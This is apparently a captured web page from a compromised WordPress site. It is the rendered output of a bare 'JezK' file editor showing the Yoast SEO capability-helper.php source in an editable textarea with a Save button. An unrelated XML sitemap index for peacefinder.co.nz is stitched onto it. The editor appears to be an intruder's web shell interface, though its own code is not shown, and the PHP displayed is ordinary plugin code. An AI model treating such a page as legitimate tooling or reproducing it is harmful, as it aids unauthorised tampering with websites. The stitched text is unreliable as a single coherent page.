
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: capability-helper.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

namespace Yoast\WP\SEO\Helpers;

/**
 * A helper object for user capabilities.
 */
class Capability_Helper {

	/**
	 * Checks if the user has at least one of the proper capabilities.
	 *
	 * @param string $capability Capability to check.
	 *
	 * @return bool True if the user has at least one of the proper rights.
	 */
	public function current_user_can( $capability ) {
		if ( $capability === &#039;wpseo_manage_options&#039; ) {
			return \current_user_can( $capability );
		}

		return $this-&gt;has_any( [ &#039;wpseo_manage_options&#039;, $capability ] );
	}

	/**
	 * Retrieves the users that have the specified capability.
	 *
	 * @param string $capability The name of the capability.
	 *
	 * @return array The users that have the capability.
	 */
	public function get_applicable_users( $capability ) {
		$applicable_roles = $this-&gt;get_applicable_roles( $capability );

		if ( $applicable_roles === [] ) {
			return [];
		}

		return \get_users( [ &#039;role__in&#039; =&gt; $applicable_roles ] );
	}

	/**
	 * Retrieves the roles that have the specified capability.
	 *
	 * @param string $capability The name of the capability.
	 *
	 * @return array The names of the roles that have the capability.
	 */
	public function get_applicable_roles( $capability ) {
		$roles      = \wp_roles();
		$role_names = $roles-&gt;get_names();

		$applicable_roles = [];
		foreach ( \array_keys( $role_names ) as $role_name ) {
			$role = $roles-&gt;get_role( $role_name );

			if ( ! $role ) {
				continue;
			}

			// Add role if it has the capability.
			if ( \array_key_exists( $capability, $role-&gt;capabilities ) &amp;&amp; $role-&gt;capabilities[ $capability ] === true ) {
				$applicable_roles[] = $role_name;
			}
		}

		return $applicable_roles;
	}

	/**
	 * Checks if the current user has at least one of the supplied capabilities.
	 *
	 * @param array $capabilities Capabilities to check against.
	 *
	 * @return bool True if the user has at least one capability.
	 */
	private function has_any( array $capabilities ) {
		foreach ( $capabilities as $capability ) {
			if ( \current_user_can( $capability ) ) {
				return true;
			}
		}

		return false;
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//peacefinder.co.nz/wp-content/plugins/wordpress-seo/css/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://peacefinder.co.nz/post-sitemap.xml</loc>
		<lastmod>2025-05-09T06:53:29+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/page-sitemap.xml</loc>
		<lastmod>2026-05-02T11:57:03+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/listings-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/product-sitemap.xml</loc>
		<lastmod>2025-03-22T07:11:30+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/listing_template-sitemap.xml</loc>
		<lastmod>2025-05-08T11:33:26+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/elementor-hf-sitemap.xml</loc>
		<lastmod>2025-03-28T03:15:48+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/category-sitemap.xml</loc>
		<lastmod>2025-05-09T06:50:39+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/condition-sitemap.xml</loc>
		<lastmod>2025-09-25T21:26:17+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/make-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/serie-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/body-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/ca-year-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/mileage-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/transmission-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/engine-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/exterior-color-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/fuel-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/price-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/drive-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/interior-color-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/stm_additional_features-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/author-sitemap.xml</loc>
		<lastmod>2025-05-22T10:05:43+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Yoast SEO -->